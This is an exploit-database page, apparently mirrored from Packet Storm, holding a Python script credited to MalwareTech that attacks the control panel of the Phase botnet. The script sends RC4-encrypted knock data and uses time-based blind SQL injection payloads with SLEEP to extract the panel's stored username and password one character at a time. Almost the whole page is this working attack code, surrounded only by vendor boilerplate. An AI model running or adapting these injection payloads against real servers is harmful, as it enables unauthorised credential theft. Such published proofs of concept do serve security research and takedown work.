Lucene search
+L

Phase Botnet SQL Injection

🗓️ 23 Dec 2014 00:00:00Reported by MalwareTechType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 22 Views

Phase Botnet SQL Injection with RC4 encryption for data transmission and brute force attack for panel username and password

Code
`import requests  
import time  
import sys  
  
wait_delay = 5 #Depending on connection delay and server speed, you may need to make this a larger number  
KnockString = 'g=a&w=a&b=a&d=a&p=a&m=a' #lol no integrity verification  
  
PostData = ""  
  
def rc4_crypt(data , key):  
S = list(range(256))  
j = 0  
out = []  
  
for i in range(256):  
j = (j + S[i] + ord( key[i % len(key)] )) % 256  
S[i] , S[j] = S[j] , S[i]  
  
i = j = 0  
for char in data:  
i = ( i + 1 ) % 256  
j = ( j + S[i] ) % 256  
S[i] , S[j] = S[j] , S[i]  
out.append(chr(ord(char) ^ S[(S[i] + S[j]) % 256]))   
return ''.join(out)  
  
def brute_length(url, id):  
for i in range(0, 30):  
Injection = "\"', (IF(LENGTH((SELECT value FROM settings WHERE id='%d')) = %d, SLEEP(%d), 0)), 'a', 'a', 'a', 'a', 'a', 'a')-- -" % (id, i, wait_delay)  
ConnectUrl = url + '?i=' + Injection  
  
start = time.time()  
r = requests.post(ConnectUrl, data=PostData, headers='')  
end = time.time()  
  
if((end - start) >= wait_delay):  
return i  
  
return 0  
  
def brute_char(url, position, id):  
sys.stdout.write(" ")  
sys.stdout.flush()  
  
for i in range(32, 127):  
Injection = "\"', (IF(SUBSTRING((SELECT value FROM settings WHERE id='%d'), %d, 1) = BINARY CHAR(%d), SLEEP(%d), 0)), 'a', 'a', 'a', 'a', 'a', 'a')-- -" % (id, position, i, wait_delay)  
ConnectUrl = url + '?i=' + Injection  
  
sys.stdout.write("\b%c" % chr(i))  
sys.stdout.flush()  
  
start = time.time()  
r = requests.post(ConnectUrl, data=PostData, headers='')  
end = time.time()  
  
if((end - start) >= wait_delay):  
break  
  
def brute_panel(url):  
global KnockString, PostData  
  
PostData = 'aaaa' + rc4_crypt(KnockString, 'aaaa')  
  
print"Username: ",;  
sys.stdout.flush()  
ulen = brute_length(url, 1)  
  
for i in range(1, ulen+1):  
brute_char(url, i, 1)  
  
print"\nPassword: ",  
sys.stdout.flush()  
plen = brute_length(url, 2)  
  
for i in range(1, plen+1):  
brute_char(url, i, 2)  
print""  
  
if(len(sys.argv) >= 2):  
brute_panel(sys.argv[1])  
else:  
print("enter panel gate url")  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

23 Dec 2014 00:00Current
7.4High risk
Vulners AI Score7.4
22